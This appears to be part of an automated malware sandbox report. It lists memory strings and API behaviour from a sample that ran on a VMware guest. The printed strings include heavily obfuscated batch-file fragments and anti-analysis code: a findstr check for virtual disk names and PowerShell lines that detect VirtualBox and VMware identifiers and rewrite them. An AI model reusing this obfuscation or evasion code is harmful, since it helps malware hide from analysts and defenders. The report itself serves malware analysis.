ZiHpJDFHqrNZJLELoihEiyENIVlKafNhYXQe%k%jSeYmJnLZOzKPluMlzrADTGOrUGlDGbMVACvdirzlTOTwAVPKbVyFpApmqHs% %cchtNMPoIYJciSpKfMrQZRBCKCgFamjMBZwjMugJLGgLsTqNZPkzYQslAEIk%=%GjnwPWAiwgYLGIftLPkRmtGlcKNLHlIhLVdBsJWvsirSRySqKYzKuRYmDcuf% %jPAkyQZLFEabTOzecNtDRxbILXNUWRXppQmCHguazhLfXyRGrUjQIRoLOSzA%m%deOOHLMcBWxWstdJLVKmghCcHgGxCAOOGTXusXymMOevxnypNEaShmuWCMgA%F%eozaiIpzwJqOwxAschFtIrKYAVHuzaSGQYhxodnOYYSenlwJLcTugNRNEBAm%H%bUavQKXypddZUQvJyGLozXIwhyzdguTMDaNdYxnCoXtIYUzqrhpXQlMdmDos%o%lUrVjrvUcsLatiaCDaynYiLZfVWsnJQvjUrtFyyHyFnZwoEIkkAmeaucisQo%z%udGtBpRyQHWeBROsVMCQrohcjEriAplnIkmvZUyhwgRDovKnmbgwPZXgVDkW% %YJYBwIwrEttbovukwDONUdVyiOyInfzwKBiMiqhGZtITIfitEMKsPxcUNztH%(%jNdzTWrMmHcgvhNAvcPcGedBvhHmzoZIXAwlpjZLOvgXJDWHJByLKqaeJCdM%"
Source: lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicvssNT SERVICE
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: Microsoft-Windows-StorageSpaces-Driver%4Operational.evtx.26.dr	Binary or memory string: VMwareVirtual disk6000c2942fce4d06663969f532e45d1a8
Source: dwm.exe, 0000000E.00000002.2338111026.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000S
Source: Microsoft-Windows-Partition%4Diagnostic.evtx.26.dr	Binary or memory string: VMwareVirtual disk2.06000c2942fce4d06663969f532e45d1aPCI Slot 32 : Bus 2 : Device 0 : Function 0 : Adapter 0 : Port 0 : Target 0 : LUN 0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\3&218e0f40&0&00
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: storahciNECVMWarVMware SATA CD00
Source: powershell.exe, 0000001C.00000002.2348049601.00000253A6312000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: %lmylYBQYXmFgWLhImq%s%HlSRCKqmmyyypSJVZBbNIFUhYLPlxNFhdstWsuVBHpEAzNqn%%QihlDbcqLSRUfOzSrvWzMCE%e%zfsbuIlvBYHFyVzrrGHBdHCAeHhstOAnDBMyIbVcHwth%%UuwVFhgVcCSCRWNBT%t%MxtbXibIqKF%%HovtkmLwOHtsBYUVQeiBOuGJNTwnTXRwqiVDhyMAQwnfdbAYogRlBefmIL%l%rPyCQQXcsdqNssHLsgAFLsyYNgFUmcIVvSuLrUwpgZh%%XsyTUsNghfUYrzOKkcPpvurAXWtxKkzLlCbuHLZTpCNpXwtSfMedjRACaYVY%o%pwXGiNPxudycWaTGbCBCAsXfvBtcyuIQbTZfQJOJEuLIFanQHVYvuvzXyRkHtMZZ%%IbdaNQsNRYfHpzuoCvCvnvFtcHYyhpR%c%LoXZjQTfGHCwtqisQsRrwEhnvJYfRUGC%%KVbCvfMBxPFSjaMyG%a%PxzYghJDASOnMbapJuhPunePZPBumJlGllQeHMOUSSFUNj%%DSTqsrQoBtJYr%l%oqQGhcAkVHXFnWBIkcQLYCssTpvXoLYNwoEBOnFhDsX%%tMeTMTiHiGHMXxNSHCVjJji% %saTWwJiFEgZglBlvDqFQHSDqANzawNDjDfBMZlkzxbhRyGHfrAGsEsqAwCwIjii%%DQCfayvrfgtGKMSTguIWhkFlPaqwPBpoTqnHdBfSeomyYKPJJCCPAmJ%e%krqZiYCDQeMuzkPEoPRTXgmelGMnZA%%HGUwMlgKgMIHUXukzMYAKuQveelNBloEqqfNEOdsifLgozshRwnA%n%ZdmQzsIasi%%xerDRGFLJGsFJJgELeWfXODqmTXfvusPWQIkiOpkRCRuHxCgtOXVvdWJAbr%a%JAponCITbVwWOMnuWjIOqQMGxwtTTYKgxrBrmCgePJfxrahJPBNqsCHTOJRRjOZ%%kpyxkWhtcEZH%b%oowpJesltOVJIDDLpVaKdmcCJzSttoNCaizuvCzKHQRBDOCt%%INIZXGbmTFkmYSfasJzdjqNwpdnvAYVWyPKBfDdCx%l%BWoyIXMAledqusZmJT%%GLVKoNihDVOGXFbORiRupJaNQTiusB%e%UjiRvGlZKAQiFwygKtDieSzeWLhUvEOObdUwONFiFigUyAvrrNybPtObJ%%UKyqEgMbgBCcrW%d%uCWLEFwqQDIgMZIpSMKSVJoDaixuTOpvBnuQRqezytINWZZbxmJp%%dSLnsLwhbxbnmFzFSxBHkuBaBHaivWGfaOxvJCyFIrwWH%e%JtAwFPhHwJqKMLKnMfRVnyidWqYWZSXFtbXHI%%qQXsrNeYPMVuFrfLmllwApQlHDMLqLOcENOaYUgvZXAlaEnGzHPMvmybZMLOasH%l%YSPRCeNrfQwDOE%%cpgmJVcHspNaljsuHpvn%a%PweuUxHFQVmuCIyUgY%%WlxCOeChMwPntrbnTcR%y%yvcCuBFIBTzAqnqXrTpqspUjaHTdAuESpjKBiVhnyTGTWoWgaeWaM%%wiBTBMHCihpHlhCPOwLbSyJbnMKNcwyEfPMBa%e%tvFVLyDodPDlpzoKHYzzGPbUAL%%LBvubPzcqwXNkxYJVkQhYpviOcAJEtLuZPRMHvBwQwXoJko%d%HggKJEKvgnFZ%%PyXKCOuFlbzIuqBsgyDNybymb%e%vfwGtPChaYaDgwUwveHbpnidaPcmQOZKJStojFIKfnqDrCrh%%bFuFZvhXsFDNqqmZpUodFmQwWWbXFLxyUtPiFfKxlrRZeXPXeDcIcdnPP%x%IctjrGifSXBdtjjRRnuQsZgeTbJPvQgZtHxHdcZkRYeSwbkSylmZuYFIWoqqWt%%bQBJMMBNPnjYtVoISRRqkEgFubOLOLJoyocbUrxfXxwLkamN%p%GyzfczxKWpKYQYdEVAfSmNAtLtNiuuuPadinkjvOFrYbN%%gyshozgVvSXftJMopB%a%UXMQQuMfqmVPzGEmoPnfUIfIpqeQLcqcwhSkuIBNCuQIzdyzPxxybwZlSdA%%qVtoVTsrNuRGoACASwjmREbnESaahHrqhbxGa%n%MGKgMvGRkBTztvUoILUgKdSskgcAymdWzqJCBLS%%HMHyhHoWwTsLLURJOsVFsfsYyXZcMsMWSoyXwtkDSge%s%TrkEyaOiQnnBuIajHlkegwTxwUmuhsNmbNehNuELEE%%FbWCNtaVGWayxxMi%i%NtayzaAGETwmHyzCqovzrzbgwhqapHJamaYkDHgav%%jzEIYxAWhjqJlosTbsJzrXkwaHApYIhvdvqBCOiTAtAzJCOJSKGOqWEmphHr%o%lXzbVFPXQqnjQZYwLNySQwobtehRemugQVpvbxNWYMbttEzWFPEujyhOJxIRyY%%EWgsVKDvnZBUevUIPEklpIaXrOALDPWyaSxxnlEmctqvIEdtOOSmnMEVVi%n%gjRSyccTlXx%
Source: lsass.exe, 0000000A.00000000.1990332991.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000002.2293458545.00000202BFC13000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000000.1995151583.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2282909657.000002A660613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2277019889.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.2067918810.000001795302B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000000.2070050099.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.2275201092.000002295CE2A000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000018.00000000.2086864501.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000018.00000002.2302804582.000001845AC3F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001A.00000000.2100413094.000001D55862B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicshutdownNT SERVICE
Source: cmd.exe, 0000000F.00000003.2087717919.000002512A76D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IrJixRQdwUjyuCVcSzIEUPYkcecxbDY%O%eDjNKJQaGgpBwHubMFLVJXAlTtzgsPtbSWeUkPltbycxEoCCIdq%e%RpIohcYTrkKHRNnJADzQWurTkVdGFQWyozCLjHXRmVUjrRlKqEb%i%ZintwXOdmZroAnmsrlBzTFHDbAiCtKspaOXpbgfOvDLSUHtVfyT%t%zOfitBKrWPmKCHboLqXrlfNdpUPIugnxVQSBUGENqOiYiTikTsH%v%FhgItabTyMbXPCOOLOAtfMjawXPUvLEPbzHpPhzASMfbpQswtex%v%wsZCTYfmwlgxMimWqUzZDpaAsGiLFEsAqoiwbWOrJVcoLptSdUc%Y%CUfTgsyjmPuGRTFgyZPUufiqHmMOdnpILCQGlubeDMBBpplvgiU%U%TnZHwMPmUFJgZAMVpcZVdYKrHEGasbqIUswuLUtUwigyTGBbDuV%R%sgnRUCIaSfOTTpamHdrjuIfyVSmxbcExYfYCGACRdTBOHonjStU%=t%lkBJbOWbqkZPAqVNqyFgAAfAhqQGEcFHiGmNDoAREAATUMnrtzStONxKeaCKYpxnEsHUehjbYNCaZm%e%GudznfjlSvjBIDMPTodmoBftmlpRvakwLSuhHycsetzlKCzGpjTnWMXepJmbPsQSkMQQiEhvmLiVcT%m%IKMJBmhXzYUpRYlaCLCHbYMIxLbxblDcbwaCpgREKmmRVTMjjlixtvSKXdlQkJWovSnvXJKwUYWOLU%.%NEYSoPdgIGEqEmUatbqYwdFrmAALCvydYdqGRsvhlojHRGfyBTEVyNyJZHFNorEniAsBWojaGjNiTX%I%zFvckJQDElEGGkMHSTKVzqoDBnKDppaqPbhasmhUxFWhWqHYnYqTxYyjqRBWYmnpkoQFdMoFMPyUuh%O%HlGLpqYhSRDXJBLkVkrGWIzcVBKLgIAEPjkpqnWXqdvYbfcNUCTnCNlYLEQOFnakrYiAqvUIntqSnB%.%aPzXRDOmbbYlEMwirdckGdWCwyIkZjxsLkDaoIwwwfXhBeRhmecmPcUXSWAsVDnSEFAuivTIHFOBfP%F%arHAYUgkCIpGhsidBTSfDWEwYQltFjosRdWjLuEsLtcSeCnBADeVJameNkBiJMEstXOevYsgoztjTL%i%swCJTbftIRRSvASwIYOJyhNjgBlXGkHckbSfFaTDnaoXmDCRoSQuujnkItDrQhMyjPHuINRIflwyTQ%l%WCYtJOtmHbOHwlxBNfnPNxWijAaiojMOrSwatwyYfWhFGaqFlEyqldcyGQkiNlYyoZpEOwiqHoJQqq%e%BikvWKKwDnPYtCmpkUYIqHLLQOvhIWtmipobXsonNSvbPQcFesdPRHZUxzEipCOGUCPeokrSFKVylJ%]%WaLPdqSEuAqtEyNgYkeOhmbYrTalkhMBJNDDwzzxOpioNVGTeyMKuwBJZMyjpHtnOPJQVkJzLGaRdM%:%kwmggLubgnlTEJaphhWVzYlQYUOnZOvKFmBcWjAISNIwEbFZyvyTVimmlwimWhbsRBnriYsYGocMqO%:%mWoOOEpCOwapQAanLKLqFcNnRzdAmHgzVwjmXhtxdoNRqShRYtCrbZjkjaXpAPqhqAtuqOqDrnnqpW%"
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: cmd.exe, 0000000F.00000003.2042220661.000002512A740000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000000F.00000003.2041976604.000002512A740000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: findstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK" ##?
Source: x.bat, $rbx-CO2.bat.12.dr	Binary or memory string: %lmylYBQYXmFgWLhImq%s%HlSRCKqmmyyypSJVZBbNIFUhYLPlxNFhdstWsuVBHpEAzNqn%%QihlDbcqLSRUfOzSrvWzMCE%e%zfsbuIlvBYHFyVzrrGHBdHCAeHhstOAnDBMyIbVcHwth%%UuwVFhgVcCSCRWNBT%t%MxtbXibIqKF%%HovtkmLwOHtsBYUVQeiBOuGJNTwnTXRwqiVDhyMAQwnfdbAYogRlBefmIL%l%rPyCQQXcsdqNssHLsgAFLsyYNgFUmcIVvSuLrUwpgZh%%XsyTUsNghfUYrzOKkcPpvurAXWtxKkzLlCbuHLZTpCNpXwtSfMedjRACaYVY%o%pwXGiNPxudycWaTGbCBCAsXfvBtcyuIQbTZfQJOJEuLIFanQHVYvuvzXyRkHtMZZ%%IbdaNQsNRYfHpzuoCvCvnvFtcHYyhpR%c%LoXZjQTfGHCwtqisQsRrwEhnvJYfRUGC%%KVbCvfMBxPFSjaMyG%a%PxzYghJDASOnMbapJuhPunePZPBumJlGllQeHMOUSSFUNj%%DSTqsrQoBtJYr%l%oqQGhcAkVHXFnWBIkcQLYCssTpvXoLYNwoEBOnFhDsX%%tMeTMTiHiGHMXxNSHCVjJji% %saTWwJiFEgZglBlvDqFQHSDqANzawNDjDfBMZlkzxbhRyGHfrAGsEsqAwCwIjii%%DQCfayvrfgtGKMSTguIWhkFlPaqwPBpoTqnHdBfSeomyYKPJJCCPAmJ%e%krqZiYCDQeMuzkPEoPRTXgmelGMnZA%%HGUwMlgKgMIHUXukzMYAKuQveelNBloEqqfNEOdsifLgozshRwnA%n%ZdmQzsIasi%%xerDRGFLJGsFJJgELeWfXODqmTXfvusPWQIkiOpkRCRuHxCgtOXVvdWJAbr%a%JAponCITbVwWOMnuWjIOqQMGxwtTTYKgxrBrmCgePJfxrahJPBNqsCHTOJRRjOZ%%kpyxkWhtcEZH%b%oowpJesltOVJIDDLpVaKdmcCJzSttoNCaizuvCzKHQRBDOCt%%INIZXGbmTFkmYSfasJzdjqNwpdnvAYVWyPKBfDdCx%l%BWoyIXMAledqusZmJT%%GLVKoNihDVOGXFbORiRupJaNQTiusB%e%UjiRvGlZKAQiFwygKtDieSzeWLhUvEOObdUwONFiFigUyAvrrNybPtObJ%%UKyqEgMbgBCcrW%d%uCWLEFwqQDIgMZIpSMKSVJoDaixuTOpvBnuQRqezytINWZZbxmJp%%dSLnsLwhbxbnmFzFSxBHkuBaBHaivWGfaOxvJCyFIrwWH%e%JtAwFPhHwJqKMLKnMfRVnyidWqYWZSXFtbXHI%%qQXsrNeYPMVuFrfLmllwApQlHDMLqLOcENOaYUgvZXAlaEnGzHPMvmybZMLOasH%l%YSPRCeNrfQwDOE%%cpgmJVcHspNaljsuHpvn%a%PweuUxHFQVmuCIyUgY%%WlxCOeChMwPntrbnTcR%y%yvcCuBFIBTzAqnqXrTpqspUjaHTdAuESpjKBiVhnyTGTWoWgaeWaM%%wiBTBMHCihpHlhCPOwLbSyJbnMKNcwyEfPMBa%e%tvFVLyDodPDlpzoKHYzzGPbUAL%%LBvubPzcqwXNkxYJVkQhYpviOcAJEtLuZPRMHvBwQwXoJko%d%HggKJEKvgnFZ%%PyXKCOuFlbzIuqBsgyDNybymb%e%vfwGtPChaYaDgwUwveHbpnidaPcmQOZKJStojFIKfnqDrCrh%%bFuFZvhXsFDNqqmZpUodFmQwWWbXFLxyUtPiFfKxlrRZeXPXeDcIcdnPP%x%IctjrGifSXBdtjjRRnuQsZgeTbJPvQgZtHxHdcZkRYeSwbkSylmZuYFIWoqqWt%%bQBJMMBNPnjYtVoISRRqkEgFubOLOLJoyocbUrxfXxwLkamN%p%GyzfczxKWpKYQYdEVAfSmNAtLtNiuuuPadinkjvOFrYbN%%gyshozgVvSXftJMopB%a%UXMQQuMfqmVPzGEmoPnfUIfIpqeQLcqcwhSkuIBNCuQIzdyzPxxybwZlSdA%%qVtoVTsrNuRGoACASwjmREbnESaahHrqhbxGa%n%MGKgMvGRkBTztvUoILUgKdSskgcAymdWzqJCBLS%%HMHyhHoWwTsLLURJOsVFsfsYyXZcMsMWSoyXwtkDSge%s%TrkEyaOiQnnBuIajHlkegwTxwUmuhsNmbNehNuELEE%%FbWCNtaVGWayxxMi%i%NtayzaAGETwmHyzCqovzrzbgwhqapHJamaYkDHgav%%jzEIYxAWhjqJlosTbsJzrXkwaHApYIhvdvqBCOiTAtAzJCOJSKGOqWEmphHr%o%lXzbVFPXQqnjQZYwLNySQwobtehRemugQVpvbxNWYMbttEzWFPEujyhOJxIRyY%%EWgsVKDvnZBUevUIPEklpIaXrOALDPWyaSxxnlEmctqvIEdtOOSmnMEVVi%n%gjRSyccTlXx%
Source: $rbx-CO2.bat.12.dr	Binary or memory string: !BYarQcOfuEgOwbePEByPiELbMcxcMCvfLACRyOEQXJGNbtMghEzExriXnYFNELtRibdWznrQWISyXYas! "C%vDkunAhkxtpfXsVEAEezopSuOnXnLnLYrMDzYSWQxyPXnjpeZdCZgpAfLQGZCTzkHrOlOwGHHo%Z%cQAUgEYSoHKLSclxOhmXnDYEpVvepCxUrRnJFQJbbKERzVzLZrIyvKaySVEljUCLkQuaOBSXyk%d%VDYhfuvJeYUZzHQORJlyShhSHJBzWxyKakOxzKQkPzPERlqMjaKjLasOvgAwTWMGzjZoStphSb%j%IsrCbwsOpWNpZZRZctkurSMieHlcUQKCqKraxSeedeHPTkkZwSrVXyKPFiyukqTymkYpHRCjof%m%qmlXpUwmFbzPFRZCvouKUNkiDImVrFqhGRixEITEXXKSZwFgpfwnOElCbctHHBVaLriOJCYMvQ%j%MWdsjgdfFlicscFGwBplWwcJhHoQxNhJSYSpyJSmDCVJRIZgjdfwxjTpUtkCSmISezkujqhNIc%q%IuBtSzHiHtHKlIeCveyqurTcEsxFWTVsNvBzOBBLUJFoktnBpHUcosIqAyOAbcmOyoWQhENTDM%E%vLMFRleWpoYTdvMkZpNbKSwQQVwwuKTbyCXXEVGCvfMXQElBeWFygCbDoVOVOHBFvXuByPGeIk%J%FFfyalKVsyfvUWAtIIgLNODhCTkJdopBPWWwxPVDlTocAZdxaegXYXwRbYWhbaRdiEFXaeWTNC%m%AUzAGCQMJYirCRAfuzTNBkbkUWufxWhnkvxCsBrtrorTVQbOxVJxZZaqSoGKiKpMQUhhuYMThA%q%wmSipdVGICmKnkuhJeUGkGZFcbJTtziQpzCOxJZDPCcMAgGXMmoIYApQnngotbmjuwvOHGJZfq%D%RIEneVuMhgkzROkMAkDLjOqTseLSpgDoDIJGlZikTHTfYVEGDUfzwtgdsLUakBwbDWVjfDBBbs%p%RCUkUxzeouadRjBGoAfhZskSBcZuAatEyeCEihQxAgmcaAeLIzpawTsysbJSxeDobwFNHXxhJH%n%GTfiSbXoMbLsiELdmgxXavCYaEVqeLbhqOmytjjIUisCDInacDKqJLHkrhhofHkbaDctrmKcXP%w%dRdausqUoAaKyEhbhmcVCnYqCZGUJPTItTIPhrMOXlsJbpfxmpfxZbnPTMyvMwlyHrrEWrUPAn%U%XrUopmUjHtKvJrGTWuTrcBaUcJYAAUupXLdWUFwlADOROlIZXdvAWjlwqalFouIMZuyXoKYqXI%I%QzMjgQbZCxzUtOAHFUtRWgUcRtNKLneeCnsLKhUuEpRkneaKxGfeXgLKEKrMdrnptusfvOXxZY%d%mHoKPNsdneiagvCHhaQhrmbCQSMVoIJHeYTdvUUDuadjgtnWDOHWHSHZFMTWbxPFuAVhCymnfm%E%NrjSvxEPrAbMamrTxIaYCXkyOGxgueBuRuepQNrwslfoDHAJQIaDmhJQgKdOayvnYHVFhcdKrE%k%FrRWUgfOpLdYhKLoifKCvUPSqWMUBNFqmIBsYkQWIliJjazkUTTXZOiLBZFXtlmCgNLyjspYpN%O%UkLgIqxCaITHqyAPQZESCxZFCvobbBDVIlUYZvqpARkEIzwnYtBqtwlwkfDmcvAyfYZeECQvIp%=%KmvXdZacIamBlaxNTRdneqMzJAsJwCfHefAjPiAnbsSySxNdgOWEEbmtAWnD%s%GqGfUFwgAoXLrPlLyoGlMoDHGBccSgJTUWGKMNEnbGDSQlmPQAVmpcQsNZzs%%CtouEeQuiAZLJtkfLKQupnmrkwESfoWNolKHsinMvRGpBkCVRLHdiedohXjh%t%zXpUDmxyICMCwdZxHWPaUJauGTEjiwAvZfnxCLLoMempYfGefGHkhinQWUnJ%%InpmbrDqQBUVlBnPwLwBnzeCPqoQSwAHybGzOZnHCpoDLLZFUxtlyMwijNxL%e%cMytamxjUOawyPZYlAQdrIVudpjLFypbCCEPQUCyoQLfwWNJMyWIWutuRdqL%%dLDvzZUVkjhqXsOBWPYgBzYgBGfiijYNEQvDmpGxcRyDrFKEFRxbfkkDMwUS%m%TLMbltMhWlpHjAdJbvPVVACrMWIuGRRPvNDrfxrXTDHuCQSEgACqGYWtivoo%%LsAetzlvXMEDeScsTiOWedngpAixRkiJiclAdCadExHuVYmOVEzaHskIftPT%.%qNEMEVubGCoqiLrHwTlrouCmKicQSDvKNhNRSUPZDkitpiRWaCmlhxEWlrbw%%SEicgEDaXAOBdlOdljWCqgPprjCpCQFBSthYcgmLEQYAOKiVJALcuzfMOSLW%I%bnygUmIJePbeWlXzipBGbGGcfDhtnukjvpJrsRFBcyRTyGfiBGEyreVvGwbr%*%fpwJESJGBGgqKaECPNDzxYRGQMSquoKWQovMcipGWzHVAnOqzsFTTBThxPSS%O%atmnVkAvERAHxWDYrVgDXBQbIRdpunpnpwGDmtapMsMHSYvWXVQBIoUzClEe%"
Source: lsass.exe, 0000000A.00000000.1990610706.00000202C0351000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: svchost.exe, 0000001A.00000000.2100879086.000001D558DE0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: Microsoft-Windows-Storage-Storport%4Operational.evtx.26.dr	Binary or memory string: nonicVMware Virtual disk 6000c2942fce4d06663969f532e45d1a
Source: svchost.exe, 0000002D.00000000.2187357921.000002644A62B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: &@\\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001A.00000002.2302118940.000001D558643000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: (@vmcitpA
Source: svchost.exe, 0000000B.00000000.1995514568.000002A66066C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000023.00000000.2146564984.0000023FD3802000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 0000000A.00000002.2300143860.00000202BFC89000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: cmd.exe, 0000000F.00000003.2061101225.000002512A76B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: QxAgmcaAeLIzpawTsysbJSxeDobwFNHXxhJH%n%GTfiSbXoMbLsiELdmgxXavCYaEVqeLbhqOmytjjIUisCDInacDKqJLHkrhhofHkbaDctrmKcXP%w%dRdausqUoAaKyEhbhmcVCnYqCZGUJPTItTIPhrMOXlsJbpfxmpfxZbnPTMyvMwlyHrrEWrUPAn%U%XrUopmUjHtKvJrGTWuTrcBaUcJYAAUupXLdWUFwlADOROlIZXdvAWjlwqalFouIMZuyXoKYqXI%I%QzMjgQbZCxzUtOAHFUtRWgUcRtNKLneeCnsLKhUuEpRkneaKxGfeXgLKEKrMdrnptusfvOXxZY%d%mHoKPNsdneiagvCHhaQhrmbCQSMVoIJHeYTdvUUDuadjgtnWDOHWHSHZFMTWbxPFuAVhCymnfm%E%NrjSvxEPrAbMamrTxIaYCXkyOGxgueBuRuepQNrwslfoDHAJQIaDmhJQgKdOayvnYHVFhcdKrE%k%FrRWUgfOpLdYhKLoifKCvUPSqWMUBNFqmIBsYkQWIliJjazkUTTXZOiLBZFXtlmCgNLyjspYpN%O%UkLgIqxCaITHqyAPQZESCxZFCvobbBDVIlUYZvqpARkEIzwnYtBqtwlwkfDmcvAyfYZeECQvIp%=%KmvXdZacIamBlaxNTRdneqMzJAsJwCfHefAjPiAnbsSySxNdgOWEEbmtAWnD%s%GqGfUFwgAoXLrPlLyoGlMoDHGBccSgJTUWGKMNEnbGDSQlmPQAVmpcQsNZzs%%CtouEeQuiAZLJtkfLKQupnmrkwESfoWNolKHsinMvRGpBkCVRLHdiedohXjh%t%zXpUDmxyICMCwdZxHWPaUJauGTEjiwAvZfnxCLLoMempYfGefGHkhinQWUnJ%%InpmbrDqQBUVlBnPwLwBnzeCPqoQSwAHybGzOZnHCpoDLLZFUxtlyMwijNxL%e%cMytamxjUOawyPZYlAQdrIVudpjLFypbCCEPQUCyoQLfwWNJMyWIWutuRdqL%%dLDvzZUVkjhqXsOBWPYgBzYgBGfiijYNEQvDmpGxcRyDrFKEFRxbfkkDMwUS%m%TLMbltMhWlpHjAdJbvPVVACrMWIuGRRPvNDrfxrXTDHuCQSEgACqGYWtivoo%%LsAetzlvXMEDeScsTiOWedngpAixRkiJiclAdCadExHuVYmOVEzaHskIftPT%.%qNEMEVubGCoqiLrHwTlrouCmKicQSDvKNhNRSUPZDkitpiRWaCmlhxEWlrbw%%SEicgEDaXAOBdlOdljWCqgPprjCpCQFBSthYcgmLEQYAOKiVJALcuzfMOSLW%I%bnygUmIJePbeWlXzipBGbGGcfDhtnukjvpJrsRFBcyRTyGfiBGEyreVvGwbr%*%fpwJESJGBGgqKaECPNDzxYRGQMSquoKWQovMcipGWzHVAnOqzsFTTBThxPSS%O%atmnVkAvERAHxWDYrVgDXBQbIRdpunpnpwGDmtapMsMHSYvWXVQBIoUzClEe%"
Source: cmd.exe, 0000000F.00000003.2027664001.000002512A75D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK" :
Source: svchost.exe, 0000001A.00000000.2118976319.000001D559C12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: dwm.exe, 0000000E.00000002.2338111026.000002BAAA00C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000

Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node			graph_8-616
Source: C:\Windows\System32\dllhost.exe	API call chain: ExitProcess graph end node			graph_8-702

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 9_2_00000225DC6484B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

9_2_00000225DC6484B0

Source: C:\Windows\System32\winlogon.exe

Code function: 9_2_00000225DC641E3C LoadLibraryA,GetProcAddress,SleepEx,

9_2_00000225DC641E3C

Source: C:\Windows\System32\dllhost.exe

Code function: 8_2_0000000140001CF0 GetProcessHeap,HeapAlloc,GetProcessHeap,HeapAlloc,K32EnumProcesses,OpenProcess,K32EnumProcessModulesEx,ReadProcessMemory,CloseHandle,GetProcessHeap,HeapFree,GetProcessHeap,RtlFreeHeap,

8_2_0000000140001CF0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug

Source: C:\Windows\System32\winlogon.exe	Code function: 9_2_00000225DC648814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	9_2_00000225DC648814
